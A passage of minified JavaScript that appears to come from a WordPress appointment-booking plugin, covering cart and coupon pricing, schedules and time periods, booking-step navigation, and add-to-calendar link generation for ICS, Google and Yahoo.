this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=""}}class N extends O{setupProperties(){super.setupProperties(),this.name=""}}class V extends O{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation("price",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let s=e[t];null!=s&&""!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=s*this.amount/100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let s="short"==e?"public":e,i=z(this.startTime,s),a=z(this.endTime,s);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u("All day","motopress-appointment"):"short"==e&&i==a?i:i+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,"internal"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:"entities"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=H(t);break;case"integer":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${o}/${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let r=i;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=s.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let 